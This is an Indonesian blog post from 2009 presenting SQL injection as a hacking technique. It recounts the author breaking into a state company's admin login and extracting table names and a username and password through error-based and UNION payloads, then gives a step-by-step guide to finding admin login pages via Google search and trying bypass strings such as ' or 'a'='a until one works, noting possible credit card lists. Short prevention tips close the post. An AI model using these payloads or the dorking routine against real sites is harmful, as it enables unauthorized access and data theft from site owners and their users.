Rabu, 29 April 2009

SQL Injection

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client. Untuk melakukan hal ini dapat digunakan progam seperti softice.

Tehnik hacking sql injection mulai mencuat kepermukaan semenjak dijebolnya situs KPU pada pemilu putaran pertama kemarin oleh Dani Firmansyah atau Xnuxer , dengan teknik ini beliau dapat masuk sebagai web administrator tanpa susah payah scan port yang terbuka , tanpa terdeteksi oleh firewall dan tanpa tool ke situs tersebut yang konon system yang seharga 152 milyar itu keamanannya berlapis lapis.

Basik atau dasar dari teknik hacking yang dinamakan sql injection , teknik ini memungkinkan kita masuk ke suatu system yang terproteksi sebagai siapa saja dengan hanya mengetahui username tanpa harus mengetahui passwordnya bahkan kita juga dapat login tanpa perlu mengetahui username dan password sama sekali

Statement sql bukanlah bahasa pemrograman seperti pascal,Delphi atau visual basic, statemen sql biasanya digunakan bersama sama dengan bahasa pemrograman lain pada saat mengakses database , pada ilustrasi diatas , untuk mencocokan user yang login, maka digunakan statemen sql yang kurang lebih sebagai berikut:

Select * from admin where username = input_username And password = input_password

Sebagai contoh apabila penulis sebagai administrator dengan username = administrator dan password = admin bermaksud login maka sql statemennya sebagai berikut

Select * from admin where username = ‘administrator’ and Password = ‘admin’

Dapat dipastikan bahwa apabila field username terdapat record administrator dengan filed password terdapat admin penulis dapat melewati proteksi dan masuk kehalaman berikutnya ,akan tetapi apabila sebaliknya ,maka akan keluar pesan kesalahan yang kurang lebih isinya kita tidak dapat masuk ke halaman berikutnya , lalu bagaimana kalau penulis memasukan input
‘ or ‘’=’ pada username dan password , perhatikan perubahan statemen sql berikut ini

Select * from admin where username = ‘’ or ‘’ = ‘’ and Password = ‘’ or ‘’=’’
Logika OR menyebabkan statement membalikan nilai false jadi true sehingga kita dapat masuk sebagai user yang terdapat pada record pertama dalam table admin ( record pertama biasanya administrator) , dan bagaimana kalo kita hanya mengetahui username saja tapi passwordnya tidak , misalkan username = administrator , caranya cukup sederhana , pada text box tempat menginput username isi dengan
“administrator’—“ sedangkan pada textbox password boleh diisi sembarang misalkan ‘ or ‘’=’ maka statement sql akan berubah menjadi

Select * from admin where username = ‘ administrator ‘—“ And password = ‘’ or ‘’=’’

Tanda “—“ (dua tanda minus) di sql server berarti akhir dari statement sql sehingga perintah dibelakannya tidak dieksekusi lagi.
Untuk web admin , bagaimana cara mencegahnya , jangan izinkan user menginput selain karakter a - z atau A - Z atau 0 – 9 , selain dari pada itu ditolak pada saat pengecekan.

Sebagai contoh dari penerapan hacking menggunakan teknik SQL Injection dari salah satu situs di Indonesia yang tentunya alamat situs tersebut tidak sebenarnya, penulis mencoba mencari situs yang masih rentan terhadap bug SQL Injection dan beruntung mandapatkannya yaitu perusahaan BUMN dengan alamat situs www.alamatsitus.co.id/admin/login.asp , lagi-lagi situs ini bermasalah dalam hal opsi login masuk ke web admin, pertama , penulis mencoba masuk menggunakan teknik yang biasa digunakan yaitu memasukan
‘ or ‘’=’ pada textbox user id passwordnya dan berhasil masuk sebagai admin , tentunya kita belum puas cuman dapat masuk saja dan merubah rubah informasi pada tampilan situs tersebut , kita ingin lebih dalam lagi yaitu table dan field apa yang ada disitus tersebut , di mulai dari mencoba mengetahui table dan field apa yang digunakan sebagai database untuk menyimpan data user dan password , dengan memanfaatkan pesan kesalahan yang terjadi setelah mengetik perintah ' having 1=1— pada user id dan password terserah dan muncul error sebagai berikut :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/admin/login.asp, line 7
--------------------

Keluarlah nama field pertama kita !!!
Catat nama tabel : T_USER
Catat nama field : NOMOR

Dari informasi diatas kita sudah mendapatkan nama tablenya yaitu T_USER dan field pertamanya NOMOR , selanjutnya mencari field kedua dan seterusnya dengan mengetikan perintah
' group by T_USER.NOMOR having 1=1— dan keluar error sebagai berikut

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.USERNAME' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/admin/login.asp, line 7

Artinya itulah nama tabel dan field kedua kita.
Catat : T_USER.USERNAME
Kemudian kita cari field ke tiga :

' group by T_USER.NOMOR,T_USER.USERNAME having 1=1—

dan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/admin/login.asp, line 7

Catat field ke tiga : T_USER.PASSWORD.

Dan lakukan mencari informasi field dield yang ada sampai field yang terakhir , penulis mendapatkan field field seperti dibawah ini

- T_USER.NOMOR
- T_USER.USERNAME
- T_USER.PASSWORD
- T_USER.STATUS
- T_USER.AUTHORITY

Selajutnya penulis mencari username dan password yang sah untuk masuk tanpa menggunakan perintah SQL , perintahnya sebagai berikut

' union select min(USERNAME),1,1,1,1 from T_USER where USERNAME > 'a'—

artinya kita memilih minimum nama user yang lebih besar dari 'a' dan mencoba mengkonvert- nya ke tipe integer , Arti angka 1 sebanyak 4 kali itu adalah bahwa kita hanya memilih kolom USERNAME, dan mengabaikan 4 kolom yang lain. dan keluar pesan

error :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'kristian' to
a column of data type int.
/admin/login.asp, line 7
lihat :
varchar value 'kristian '
'kristian' itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom
username di record yang terakhir dimasukkan, Selanjutnya kita inject :

' union select min(PASSWORD),1,1,1,1 from T_USER where USERNAME = 'kristian'—
catatan : harus sebaris (tidak dipotong) dan keluar error :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'passport' to a
column of data type int.
/admin/login.asp, line

Artinya kita berhasil !!! ,Kita dapatkan
- USERNAME = kristian
- PASSWORD = passport

Bug SQL Injection berbahaya ?


1)
Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. 2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3)
Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.

Apa saja yang diperlukan untuk melakukan SQL Injection ?


1) Internet Exploler / Browser

2) PC yang terhubung internet
3) Program atau software seperti softice


Penanganan SQL Injection

1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

Implementasi SQL Injection

1) Masuk ke google atau browse yg lain

2) Masukkan salah satu keyword berikut

"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).

4) Masukkan kode berikut :

User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)

5)Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain.
Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

7) Banyak variasi kode yang mungkin, antara lain :

User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;

“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel


Cara pencegahan SQL INJECTION

1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.

2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).

3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.

4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.

5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.





Sumber : Berbagai sumber

Tidak ada komentar:

Posting Komentar

Posting Komentar anda disini.. Harap menggunakan kata-kata sopan, no sara, no drugs n no alkohol -_-"